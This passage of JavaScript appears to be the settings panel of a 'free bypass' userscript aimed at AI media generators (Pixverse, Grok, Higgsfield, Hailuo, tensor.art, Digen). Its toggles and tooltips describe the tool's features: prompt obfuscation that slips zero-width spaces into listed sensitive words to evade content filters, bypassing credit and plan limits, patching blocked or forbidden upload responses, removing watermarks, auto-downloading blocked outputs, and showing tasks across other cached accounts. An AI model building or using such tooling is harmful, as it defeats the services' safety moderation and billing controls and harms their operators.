exportLogsBtn.className = 'bypass-btn bypass-btn-primary';
exportLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
exportLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs JSON';
exportLogsBtn.onclick = () => {
try {
exportDigenLogsToJson();
} catch (err) {
addDigenUiLog('error', 'Failed to export Digen logs from settings', { error: String(err?.message || err) });
showToast('Failed to export Digen logs', 'error');
}
};
const exportItemsBtn = document.createElement('button');
exportItemsBtn.className = 'bypass-btn bypass-btn-primary';
exportItemsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
exportItemsBtn.innerHTML = '<i class="fas fa-database"></i> Export Items JSON';
exportItemsBtn.onclick = async () => {
try {
await exportDigenJobsToJson();
} catch (err) {
addDigenUiLog('error', 'Failed to export Digen items from settings', { error: String(err?.message || err) });
showToast('Failed to export Digen items', 'error');
}
};
const clearItemsBtn = document.createElement('button');
clearItemsBtn.className = 'bypass-btn bypass-btn-danger';
clearItemsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearItemsBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Digen Items';
clearItemsBtn.onclick = () => {
showConfirmDialog('Clear Digen jobs from IndexedDB?', async () => {
await digenJobs.clear();
showToast('Digen jobs cleared', 'success');
updateUI();
});
};
actionsRow.appendChild(clearLogsBtn);
actionsRow.appendChild(exportLogsBtn);
actionsRow.appendChild(exportItemsBtn);
actionsRow.appendChild(clearItemsBtn);
digenSection.content.appendChild(actionsRow);
form.appendChild(digenSection.section);
} else if (IS_PIXVERSE_DOMAIN) {
const infoNote = document.createElement('div');
infoNote.style.cssText = `
background: rgba(14, 165, 233, 0.12);
border: 1px solid rgba(56, 189, 248, 0.35);
border-radius: 10px;
padding: 12px;
font-size: 12px;
line-height: 1.5;
color: #dbeafe;
`;
infoNote.innerHTML = '<strong style="color:#38bdf8; display:block; margin-bottom:6px;"><i class="fas fa-sliders"></i> Pixverse Settings</strong>Configure Pixverse bypass behavior, realtime logs, and prompt-sensitive words list.';
form.appendChild(infoNote);
const pixverseSection = createCollapsibleSection('Pixverse Controls', 'fa-wand-magic-sparkles', true);
const makeToggleRow = (id, labelText, tooltipText) => {
const { row, input } = createSettingsToggleRow({
labelText,
tooltip: tooltipText,
checked: !!settings[id],
fontSize: '13px',
textColor: colors.text
});
input.onchange = () => {
settings[id] = input.checked;
saveSettings();
};
return row;
};
pixverseSection.content.appendChild(makeToggleRow('pixverseEnablePromptObfuscation', 'Enable prompt obfuscation', 'Adds lightweight obfuscation for configured sensitive words.'));
pixverseSection.content.appendChild(makeToggleRow('pixverseEnableCreditsBypass', 'Enable credits unlock bypass', 'Attempts to bypass credits/plan limits in Pixverse responses.'));
pixverseSection.content.appendChild(makeToggleRow('pixverseEnableUploadBypass', 'Enable upload bypass', 'Patches upload-related blocked/forbidden API responses.'));
pixverseSection.content.appendChild(makeToggleRow('pixverseEnableWatermarkButton', 'Enable watermark-free UI button', 'Adds/overrides the Remove Watermark button in Pixverse editor flows.'));
pixverseSection.content.appendChild(makeToggleRow('pixverseEnableUiLogs', 'Enable realtime UI logs', 'Show runtime logs in the Background Bypass tab.'));
pixverseSection.content.appendChild(makeToggleRow('pixverseCaptureMediaLinks', 'Capture bypassed media links', 'Store discovered image/video links in the Items tab cache.'));
const maxLogsRow = document.createElement('div');
maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
const maxLogsLabel = document.createElement('div');
maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
maxLogsLabel.textContent = 'Max Pixverse log entries';
const maxLogsInput = document.createElement('input');
maxLogsInput.type = 'number';
maxLogsInput.min = '50';
maxLogsInput.max = '3000';
maxLogsInput.step = '50';
maxLogsInput.value = String(Math.max(50, Number(settings.pixverseMaxLogs) || 400));
maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
maxLogsInput.onchange = () => {
settings.pixverseMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 400));
saveSettings();
};
maxLogsRow.appendChild(maxLogsLabel);
maxLogsRow.appendChild(maxLogsInput);
pixverseSection.content.appendChild(maxLogsRow);
const wordsWrap = document.createElement('div');
wordsWrap.style.cssText = `margin-top:10px; border:1px dashed ${colors.border}; border-radius:10px; padding:10px; display:grid; gap:8px;`;
const wordsTitle = document.createElement('div');
wordsTitle.style.cssText = 'font-size:12px; font-weight:700; color:' + colors.text + ';';
wordsTitle.textContent = 'Sensitive Words';
wordsWrap.appendChild(wordsTitle);
const listWrap = document.createElement('div');
listWrap.style.cssText = 'display:grid; gap:6px;';
const currentWords = Array.isArray(settings.pixverseSensitiveWords) ? settings.pixverseSensitiveWords.slice() : [];
const renderWords = () => {
listWrap.innerHTML = '';
if (!currentWords.length) {
const empty = document.createElement('div');
empty.style.cssText = 'font-size:11px; color:' + colors.textSecondary + ';';
empty.textContent = 'No sensitive words configured.';
listWrap.appendChild(empty);
return;
}
currentWords.forEach((word, idx) => {
const row = document.createElement('div');
row.style.cssText = `display:flex; align-items:center; gap:8px; padding:6px 8px; border:1px solid ${colors.border}; border-radius:8px; background:${colors.bgSecondary};`;
const txt = document.createElement('div');
txt.style.cssText = 'flex:1; font-size:12px; color:' + colors.text + '; word-break:break-word;';
txt.textContent = word;
const removeBtn = document.createElement('button');
removeBtn.className = 'bypass-btn bypass-btn-danger';
removeBtn.style.cssText = 'width:auto; padding:4px 8px; font-size:10px;';
removeBtn.innerHTML = '<i class="fas fa-minus"></i>';
removeBtn.onclick = () => {
currentWords.splice(idx, 1);
settings.pixverseSensitiveWords = currentWords;
saveSettings();
renderWords();
};
row.appendChild(txt);
row.appendChild(removeBtn);
listWrap.appendChild(row);
});
};
const addRow = document.createElement('div');
addRow.style.cssText = 'display:flex; gap:8px; align-items:center;';
const addInput = document.createElement('input');
addInput.type = 'text';
addInput.placeholder = 'Add new sensitive word';
addInput.style.cssText = `flex:1; padding:8px; border-radius:8px; border:1px solid ${colors.border}; background:${colors.bg}; color:${colors.text}; font-size:12px;`;
const addBtn = document.createElement('button');
addBtn.className = 'bypass-btn bypass-btn-primary';
addBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
addBtn.innerHTML = '<i class="fas fa-plus"></i>';
const doAddWord = () => {
const value = String(addInput.value || '').trim();
if (!value) return;
if (!currentWords.includes(value)) {
currentWords.push(value);
settings.pixverseSensitiveWords = currentWords;
saveSettings();
renderWords();
}
addInput.value = '';
};
addBtn.onclick = doAddWord;
addInput.addEventListener('keydown', (e) => {
if (e.key === 'Enter') doAddWord();
});
addRow.appendChild(addInput);
addRow.appendChild(addBtn);
const rawEditorRow = document.createElement('div');
rawEditorRow.style.cssText = 'display:flex; justify-content:flex-end; margin-top:4px;';
const rawEditorBtn = document.createElement('button');
rawEditorBtn.className = 'bypass-btn bypass-btn-secondary';
rawEditorBtn.style.cssText = 'width:auto; padding:7px 10px; font-size:11px;';
rawEditorBtn.innerHTML = '<i class="fas fa-code"></i> Edit Raw Array';
rawEditorBtn.onclick = () => {
showCodeEditorDialog({
title: 'Pixverse sensitive words array',
description: 'Edit the raw JSON array used by Pixverse prompt obfuscation. Save with Ctrl/Cmd+S or the Save button.',
initialValue: JSON.stringify(currentWords, null, 2),
confirmLabel: 'Save Array',
downloadFilename: 'pixverse_sensitive_words.json',
validate: (text) => {
let parsed;
try {
parsed = JSON.parse(text);
} catch (err) {
throw new Error(`Invalid JSON: ${err?.message || err}`);
}
if (!Array.isArray(parsed)) throw new Error('Value must be a JSON array.');
return parsed.map(v => String(v || '').trim()).filter(Boolean);
}
}, (nextWords) => {
currentWords.splice(0, currentWords.length, ...nextWords);
settings.pixverseSensitiveWords = currentWords.slice();
saveSettings();
renderWords();
showToast('Updated Pixverse sensitive words array', 'success');
});
};
rawEditorRow.appendChild(rawEditorBtn);
wordsWrap.appendChild(addRow);
wordsWrap.appendChild(rawEditorRow);
wordsWrap.appendChild(listWrap);
pixverseSection.content.appendChild(wordsWrap);
renderWords();
const actionsRow = document.createElement('div');
actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
const clearLogsBtn = document.createElement('button');
clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Pixverse Logs';
clearLogsBtn.onclick = () => {
clearPixverseUiLogs();
showToast('Pixverse logs cleared', 'success');
};
const clearMediaBtn = document.createElement('button');
clearMediaBtn.className = 'bypass-btn bypass-btn-danger';
clearMediaBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearMediaBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Media Cache';
clearMediaBtn.onclick = async () => {
const ok = await showConfirmDialog({
title: 'Clear Pixverse media cache?',
message: 'This will remove all cached Pixverse image/video links from the Items tab.',
confirmText: 'Clear cache',
cancelText: 'Cancel',
isDanger: true
});
if (!ok) return;
savePixverseMediaCache({ version: 1, updatedAt: new Date().toISOString(), items: [] });
showToast('Pixverse media cache cleared', 'success');
};
actionsRow.appendChild(clearLogsBtn);
actionsRow.appendChild(clearMediaBtn);
pixverseSection.content.appendChild(actionsRow);
form.appendChild(pixverseSection.section);
} else if (IS_GROK_DOMAIN) {
const infoNote = document.createElement('div');
infoNote.style.cssText = `
background: rgba(14, 165, 233, 0.12);
border: 1px solid rgba(56, 189, 248, 0.35);
border-radius: 10px;
padding: 12px;
font-size: 12px;
line-height: 1.5;
color: #dbeafe;
`;
infoNote.innerHTML = '<strong style="color:#38bdf8; display:block; margin-bottom:6px;"><i class="fas fa-satellite-dish"></i> Grok Capture Settings</strong>Capture generated media links from Grok/X traffic into Items and inspect runtime logs in Grok Background.';
form.appendChild(infoNote);
const grokSection = createCollapsibleSection('Grok Controls', 'fa-shield-halved', true);
const makeToggleRow = (id, labelText, tooltipText) => {
const { row, input } = createSettingsToggleRow({
labelText,
tooltip: tooltipText,
checked: !!settings[id],
fontSize: '13px',
textColor: colors.text
});
input.onchange = () => {
settings[id] = input.checked;
saveSettings();
};
return row;
};
grokSection.content.appendChild(makeToggleRow('grokInterceptorEnabled', 'Enable Grok network capture', 'Capture Grok/X API responses and extract media links for Items cache.'));
grokSection.content.appendChild(makeToggleRow('grokCaptureMediaLinks', 'Capture media links', 'Save discovered image/video URLs into the Grok Items list.'));
grokSection.content.appendChild(makeToggleRow('grokEnableUiLogs', 'Enable runtime logs', 'Show Grok network/runtime logs in Grok Background tab.'));
const maxLogsRow = document.createElement('div');
maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
const maxLogsLabel = document.createElement('div');
maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
maxLogsLabel.textContent = 'Max Grok log entries';
const maxLogsInput = document.createElement('input');
maxLogsInput.type = 'number';
maxLogsInput.min = '50';
maxLogsInput.max = '3000';
maxLogsInput.step = '50';
maxLogsInput.value = String(Math.max(50, Number(settings.grokMaxLogs) || 500));
maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
maxLogsInput.onchange = () => {
settings.grokMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 500));
saveSettings();
};
maxLogsRow.appendChild(maxLogsLabel);
maxLogsRow.appendChild(maxLogsInput);
grokSection.content.appendChild(maxLogsRow);
const actionsRow = document.createElement('div');
actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
const clearLogsBtn = document.createElement('button');
clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Grok Logs';
clearLogsBtn.onclick = () => {
clearGrokUiLogs();
showToast('Grok logs cleared', 'success');
};
const exportLogsBtn = document.createElement('button');
exportLogsBtn.className = 'bypass-btn bypass-btn-primary';
exportLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
exportLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs JSON';
exportLogsBtn.onclick = () => {
try {
exportGrokLogsToJson();
} catch {
showToast('Failed to export Grok logs', 'error');
}
};
const clearMediaBtn = document.createElement('button');
clearMediaBtn.className = 'bypass-btn bypass-btn-danger';
clearMediaBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearMediaBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Media Cache';
clearMediaBtn.onclick = async () => {
const ok = await showConfirmDialog({
title: 'Clear Grok media cache?',
message: 'This will remove all cached Grok image/video links from the Items tab.',
confirmText: 'Clear cache',
cancelText: 'Cancel',
isDanger: true
});
if (!ok) return;
saveGrokMediaCache({});
showToast('Grok media cache cleared', 'success');
updateUI();
};
actionsRow.appendChild(clearLogsBtn);
actionsRow.appendChild(exportLogsBtn);
actionsRow.appendChild(clearMediaBtn);
grokSection.content.appendChild(actionsRow);
form.appendChild(grokSection.section);
} else if (IS_HIGGSFIELD_DOMAIN) {
const infoNote = document.createElement('div');
infoNote.style.cssText = `
background: rgba(96, 165, 250, 0.10);
border: 1px solid rgba(96, 165, 250, 0.28);
border-radius: 10px;
padding: 12px;
font-size: 12px;
line-height: 1.5;
color: #dbeafe;
`;
infoNote.innerHTML = '<strong style="color:#60a5fa; display:block; margin-bottom:6px;"><i class="fas fa-flask-vial"></i> Higgsfield Capture Settings</strong>Capture jobs and souls into the unified floating panel, optionally obfuscate outgoing prompts, review runtime activity in Higgsfield Background, and manage local IndexedDB data from here.';
form.appendChild(infoNote);
const higgsfieldSection = createCollapsibleSection('Higgsfield Controls', 'fa-clapperboard', true);
const makeToggleRow = (id, labelText, tooltipText) => {
const { row, input } = createSettingsToggleRow({
labelText,
tooltip: tooltipText,
checked: !!settings[id],
fontSize: '13px',
textColor: colors.text
});
input.onchange = () => {
settings[id] = input.checked;
saveSettings();
};
return row;
};
higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldEnablePromptObfuscation', 'Obfuscate outgoing job prompts', 'Insert zero-width spaces into outgoing Higgsfield job prompts the same way the standalone script does for POST /jobs/ requests.'));
higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldCaptureJobs', 'Capture jobs/projects', 'Store observed project/job responses in IndexedDB and show them in the Items tab.'));
higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldCaptureSouls', 'Capture souls/custom references', 'Store observed custom-reference responses in IndexedDB and show them in the Items tab.'));
higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh the floating window automatically when new jobs, souls, or logs are captured.'));
higgsfieldSection.content.appendChild(makeToggleRow('higgsfieldEnableUiLogs', 'Enable runtime logs', 'Show runtime logs in Higgsfield Background tab.'));
const maxLogsRow = document.createElement('div');
maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
const maxLogsLabel = document.createElement('div');
maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
maxLogsLabel.textContent = 'Max Higgsfield log entries';
const maxLogsInput = document.createElement('input');
maxLogsInput.type = 'number';
maxLogsInput.min = '50';
maxLogsInput.max = '3000';
maxLogsInput.step = '50';
maxLogsInput.value = String(Math.max(50, Number(settings.higgsfieldMaxLogs) || 500));
maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
maxLogsInput.onchange = () => {
settings.higgsfieldMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 500));
saveSettings();
};
maxLogsRow.appendChild(maxLogsLabel);
maxLogsRow.appendChild(maxLogsInput);
higgsfieldSection.content.appendChild(maxLogsRow);
const actionsRow = document.createElement('div');
actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
const clearLogsBtn = document.createElement('button');
clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Logs';
clearLogsBtn.onclick = () => {
clearHiggsfieldUiLogs();
showToast('Higgsfield logs cleared', 'success');
};
const exportLogsBtn = document.createElement('button');
exportLogsBtn.className = 'bypass-btn bypass-btn-primary';
exportLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
exportLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs JSON';
exportLogsBtn.onclick = () => exportHiggsfieldLogsToJson();
const exportJobsBtn = document.createElement('button');
exportJobsBtn.className = 'bypass-btn bypass-btn-primary';
exportJobsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
exportJobsBtn.innerHTML = '<i class="fas fa-clapperboard"></i> Export Jobs';
exportJobsBtn.onclick = () => exportHiggsfieldJobsToJson().catch(() => showToast('Failed to export Higgsfield jobs', 'error'));
const importJobsBtn = document.createElement('button');
importJobsBtn.className = 'bypass-btn bypass-btn-primary';
importJobsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
importJobsBtn.innerHTML = '<i class="fas fa-file-import"></i> Import Jobs';
importJobsBtn.onclick = () => importHiggsfieldItemsFromFile('jobs');
const exportSoulsBtn = document.createElement('button');
exportSoulsBtn.className = 'bypass-btn bypass-btn-primary';
exportSoulsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
exportSoulsBtn.innerHTML = '<i class="fas fa-face-smile"></i> Export Souls';
exportSoulsBtn.onclick = () => exportHiggsfieldSoulsToJson().catch(() => showToast('Failed to export Higgsfield souls', 'error'));
const importSoulsBtn = document.createElement('button');
importSoulsBtn.className = 'bypass-btn bypass-btn-primary';
importSoulsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
importSoulsBtn.innerHTML = '<i class="fas fa-file-import"></i> Import Souls';
importSoulsBtn.onclick = () => importHiggsfieldItemsFromFile('souls');
const clearJobsBtn = document.createElement('button');
clearJobsBtn.className = 'bypass-btn bypass-btn-danger';
clearJobsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearJobsBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Jobs';
clearJobsBtn.onclick = () => {
showConfirmDialog('Clear Higgsfield jobs from IndexedDB?', async () => {
await higgsfieldJobs.clear();
showToast('Higgsfield jobs cleared', 'success');
updateUI();
});
};
const clearSoulsBtn = document.createElement('button');
clearSoulsBtn.className = 'bypass-btn bypass-btn-danger';
clearSoulsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearSoulsBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Souls';
clearSoulsBtn.onclick = () => {
showConfirmDialog('Clear Higgsfield souls from IndexedDB?', async () => {
await higgsfieldSouls.clear();
showToast('Higgsfield souls cleared', 'success');
updateUI();
});
};
actionsRow.appendChild(clearLogsBtn);
actionsRow.appendChild(exportLogsBtn);
actionsRow.appendChild(exportJobsBtn);
actionsRow.appendChild(importJobsBtn);
actionsRow.appendChild(exportSoulsBtn);
actionsRow.appendChild(importSoulsBtn);
actionsRow.appendChild(clearJobsBtn);
actionsRow.appendChild(clearSoulsBtn);
higgsfieldSection.content.appendChild(actionsRow);
form.appendChild(higgsfieldSection.section);
} else if (IS_HAILUO_DOMAIN) {
const infoNote = document.createElement('div');
infoNote.style.cssText = `
background: rgba(34, 197, 94, 0.10);
border: 1px solid rgba(34, 197, 94, 0.28);
border-radius: 10px;
padding: 12px;
font-size: 12px;
line-height: 1.5;
color: #dcfce7;
`;
infoNote.innerHTML = '<strong style="color:#22c55e; display:block; margin-bottom:6px;"><i class="fas fa-link"></i> Hailuo Capture Settings</strong>Capture media URLs that appear in-page and review them under Items. Background logs show capture activity.';
form.appendChild(infoNote);
const hailuoSection = createCollapsibleSection('Hailuo Controls', 'fa-bolt', true);
const makeToggleRow = (id, labelText, tooltipText) => {
const { row, input } = createSettingsToggleRow({
labelText,
tooltip: tooltipText,
checked: !!settings[id],
fontSize: '13px',
textColor: colors.text
});
input.onchange = () => {
settings[id] = input.checked;
saveSettings();
};
return row;
};
hailuoSection.content.appendChild(makeToggleRow('hailuoCaptureMediaLinks', 'Capture media links', 'Store discovered Hailuo image/video URLs in the Items tab cache.'));
hailuoSection.content.appendChild(makeToggleRow('hailuoAutoRefreshItems', 'Auto-refresh Items/Logs tabs', 'Refresh floating panel automatically when new Hailuo URLs/logs are captured.'));
hailuoSection.content.appendChild(makeToggleRow('hailuoEnableUiLogs', 'Enable runtime logs', 'Show capture/runtime logs in Hailuo Background tab.'));
const maxLogsRow = document.createElement('div');
maxLogsRow.style.cssText = 'display:flex; align-items:center; justify-content:space-between; gap:10px; margin-top:10px;';
const maxLogsLabel = document.createElement('div');
maxLogsLabel.style.cssText = 'font-size:12px; color:' + colors.textSecondary + ';';
maxLogsLabel.textContent = 'Max Hailuo log entries';
const maxLogsInput = document.createElement('input');
maxLogsInput.type = 'number';
maxLogsInput.min = '50';
maxLogsInput.max = '3000';
maxLogsInput.step = '50';
maxLogsInput.value = String(Math.max(50, Number(settings.hailuoMaxLogs) || 500));
maxLogsInput.style.cssText = `width: 110px; padding: 8px; border-radius: 8px; border: 1px solid ${colors.border}; background: ${colors.bgSecondary}; color: ${colors.text};`;
maxLogsInput.onchange = () => {
settings.hailuoMaxLogs = Math.max(50, Math.min(3000, Number(maxLogsInput.value) || 500));
saveSettings();
};
maxLogsRow.appendChild(maxLogsLabel);
maxLogsRow.appendChild(maxLogsInput);
hailuoSection.content.appendChild(maxLogsRow);
const actionsRow = document.createElement('div');
actionsRow.style.cssText = 'display:flex; gap:8px; flex-wrap:wrap; margin-top:10px;';
const clearLogsBtn = document.createElement('button');
clearLogsBtn.className = 'bypass-btn bypass-btn-secondary';
clearLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearLogsBtn.innerHTML = '<i class="fas fa-broom"></i> Clear Hailuo Logs';
clearLogsBtn.onclick = () => {
clearHailuoUiLogs();
showToast('Hailuo logs cleared', 'success');
};
const exportLogsBtn = document.createElement('button');
exportLogsBtn.className = 'bypass-btn bypass-btn-primary';
exportLogsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
exportLogsBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Logs JSON';
exportLogsBtn.onclick = () => {
try {
exportHailuoLogsToJson();
} catch {
showToast('Failed to export Hailuo logs', 'error');
}
};
const exportItemsBtn = document.createElement('button');
exportItemsBtn.className = 'bypass-btn bypass-btn-primary';
exportItemsBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
exportItemsBtn.innerHTML = '<i class="fas fa-database"></i> Export Items JSON';
exportItemsBtn.onclick = () => {
try {
exportHailuoMediaCacheToJson();
} catch {
showToast('Failed to export Hailuo items', 'error');
}
};
const clearMediaBtn = document.createElement('button');
clearMediaBtn.className = 'bypass-btn bypass-btn-danger';
clearMediaBtn.style.cssText = 'width:auto; padding:8px 10px; font-size:11px;';
clearMediaBtn.innerHTML = '<i class="fas fa-trash"></i> Clear Media Cache';
clearMediaBtn.onclick = async () => {
const ok = await showConfirmDialog({
title: 'Clear Hailuo media cache?',
message: 'This will remove all cached Hailuo image/video links from the Items tab.',
confirmText: 'Clear cache',
cancelText: 'Cancel',
isDanger: true
});
if (!ok) return;
saveHailuoMediaCache({});
showToast('Hailuo media cache cleared', 'success');
updateUI();
};
actionsRow.appendChild(clearLogsBtn);
actionsRow.appendChild(exportLogsBtn);
actionsRow.appendChild(exportItemsBtn);
actionsRow.appendChild(clearMediaBtn);
hailuoSection.content.appendChild(actionsRow);
form.appendChild(hailuoSection.section);
} else {
const infoNote = document.createElement('div');
infoNote.style.cssText = `
background: rgba(99, 102, 241, 0.1);
border: 1px solid rgba(99, 102, 241, 0.3);
border-radius: 8px;
padding: 12px;
font-size: 12px;
line-height: 1.5;
`;
infoNote.innerHTML = '<strong style="color: #6366f1; display: block; margin-bottom: 6px;"><i class="fas fa-sliders"></i> Advanced Settings</strong>For network headers, Telegram integration, user tokens, and more detailed settings, visit <strong>tensor.art/settings</strong>.';
form.appendChild(infoNote);
// Settings Profiles & Export/Import Section
const profileSection = createCollapsibleSection('Settings Management', 'fa-folder', true);
// Export/Import buttons
const exportImportRow = document.createElement('div');
exportImportRow.style.cssText = 'display: flex; gap: 8px; margin-bottom: 12px;';
const exportBtn = document.createElement('button');
exportBtn.className = 'bypass-btn bypass-btn-primary';
exportBtn.style.cssText = 'flex: 1; padding: 10px; font-size: 12px;';
exportBtn.innerHTML = '<i class="fas fa-file-export"></i> Export Settings';
exportBtn.onclick = () => exportSettings();
const importBtn = document.createElement('button');
importBtn.className = 'bypass-btn bypass-btn-secondary';
importBtn.style.cssText = 'flex: 1; padding: 10px; font-size: 12px;';
importBtn.innerHTML = '<i class="fas fa-file-import"></i> Import Settings';
importBtn.onclick = () => importSettings();
exportImportRow.appendChild(exportBtn);
exportImportRow.appendChild(importBtn);
profileSection.content.appendChild(exportImportRow);
// Settings Profiles
const profilesDiv = document.createElement('div');
profilesDiv.style.cssText = 'margin-top: 12px;';
const profilesHeader = document.createElement('div');
profilesHeader.style.cssText = 'font-weight: 600; font-size: 12px; margin-bottom: 8px; color: #cbd5e1;';
profilesHeader.innerHTML = '<i class="fas fa-layer-group"></i> Settings Profiles';
profilesDiv.appendChild(profilesHeader);
const profilesList = document.createElement('div');
profilesList.id = 'settings-profiles-list';
profilesList.style.cssText = 'display: flex; flex-direction: column; gap: 6px; margin-bottom: 8px;';
const savedProfiles = JSON.parse(localStorage.getItem('freeBypassSettingsProfiles') || '{}');
const currentProfileName = localStorage.getItem('freeBypassCurrentProfile') || 'Default';
Object.keys(savedProfiles).forEach(profileName => {
const profileRow = document.createElement('div');
profileRow.style.cssText = `display: flex; gap: 6px; align-items: center; padding: 6px; background: ${profileName === currentProfileName ? 'rgba(99, 102, 241, 0.2)' : colors.bgSecondary}; border-radius: 6px; border: 1px solid ${profileName === currentProfileName ? '#6366f1' : colors.border};`;
const profileNameEl = document.createElement('div');
profileNameEl.style.cssText = 'flex: 1; font-size: 12px; color: ' + colors.text + '; font-weight: ' + (profileName === currentProfileName ? '600' : '400');
profileNameEl.textContent = profileName + (profileName === currentProfileName ? ' (Active)' : '');
const loadBtn = document.createElement('button');
loadBtn.className = 'bypass-btn bypass-btn-secondary';
loadBtn.style.cssText = 'padding: 4px 8px; font-size: 10px;';
loadBtn.textContent = 'Load';
loadBtn.disabled = profileName === currentProfileName;
loadBtn.onclick = () => loadSettingsProfile(profileName);
const deleteBtn = document.createElement('button');
deleteBtn.className = 'bypass-btn bypass-btn-danger';
deleteBtn.style.cssText = 'padding: 4px 8px; font-size: 10px;';
deleteBtn.innerHTML = '<i class="fas fa-trash"></i>';
deleteBtn.onclick = () => deleteSettingsProfile(profileName);
profileRow.appendChild(profileNameEl);
profileRow.appendChild(loadBtn);
profileRow.appendChild(deleteBtn);
profilesList.appendChild(profileRow);
});
profilesDiv.appendChild(profilesList);
const saveProfileBtn = document.createElement('button');
saveProfileBtn.className = 'bypass-btn bypass-btn-primary';
saveProfileBtn.style.cssText = 'width: 100%; padding: 8px; font-size: 11px;';
saveProfileBtn.innerHTML = '<i class="fas fa-save"></i> Save Current as New Profile';
saveProfileBtn.onclick = () => saveSettingsProfile();
profilesDiv.appendChild(saveProfileBtn);
profileSection.content.appendChild(profilesDiv);
form.appendChild(profileSection.section);
const settingsCheckboxes = [
{ id: 'preview', label: 'Preview Media', value: settings.preview, icon: 'fa-eye', tooltip: 'Load and display thumbnail previews of blocked items (videos are deferred)' },
{ id: 'autoDownload', label: 'Auto-download on Detect', value: settings.autoDownload, icon: 'fa-download', tooltip: 'Automatically download images when they are detected as blocked' },
{ id: 'autoShowPanel', label: 'Auto-show Panel on Detect', value: settings.autoShowPanel, icon: 'fa-expand', tooltip: 'Show the floating panel when new blocked items are detected' },
{ id: 'autoTaskDetection', label: 'Auto-detect Blocked Tasks', value: settings.autoTaskDetection, icon: 'fa-magic', tooltip: 'Automatically adds blocked items when generation completes (no refresh needed)' },
{ id: 'forceTasksAcrossAccounts', label: 'Force Tasks Across Accounts', value: settings.forceTasksAcrossAccounts, icon: 'fa-users', tooltip: 'Show tasks from all cached accounts regardless of current user token (disabled by default)' }
];
const coreSection = createCollapsibleSection('Core Features', 'fa-layer-group', true);
coreSection.content.style.display = 'grid';
coreSection.content.style.gap = '10px';
settingsCheckboxes.forEach(checkbox => {
const { row: container, input } = createSettingsToggleRow({
labelText: checkbox.label,
icon: checkbox.icon,
tooltip: checkbox.tooltip,
checked: checkbox.value,
fontSize: '14px',
textColor: colors.text
});
input.onchange = () => {
settings[checkbox.id] = input.checked;
if (checkbox.id === 'injectOnDom' && input.checked) {
settings.safeViewMode = false;
}
if (checkbox.id === 'safeViewMode' && input.checked) {
settings.injectOnDom = false;
}
localStorage.setItem('freeBypassSettings', JSON.stringify(settings));
if (checkbox.id === 'preview' && input.checked) {
fetchPreviews();
}
if (checkbox.id === 'autoTaskDetection') {
if (settings.autoTaskDetection) {
startTaskMonitoring();
} else {
stopTaskMonitoring();
}
}
if (checkbox.id === 'injectOnDom') {
if (settings.injectOnDom) {
startDomInjectionWatcher();
} else {
stopDomInjectionWatcher();
}
}
if (checkbox.id === 'safeViewMode') {
if (settings.safeViewMode) {
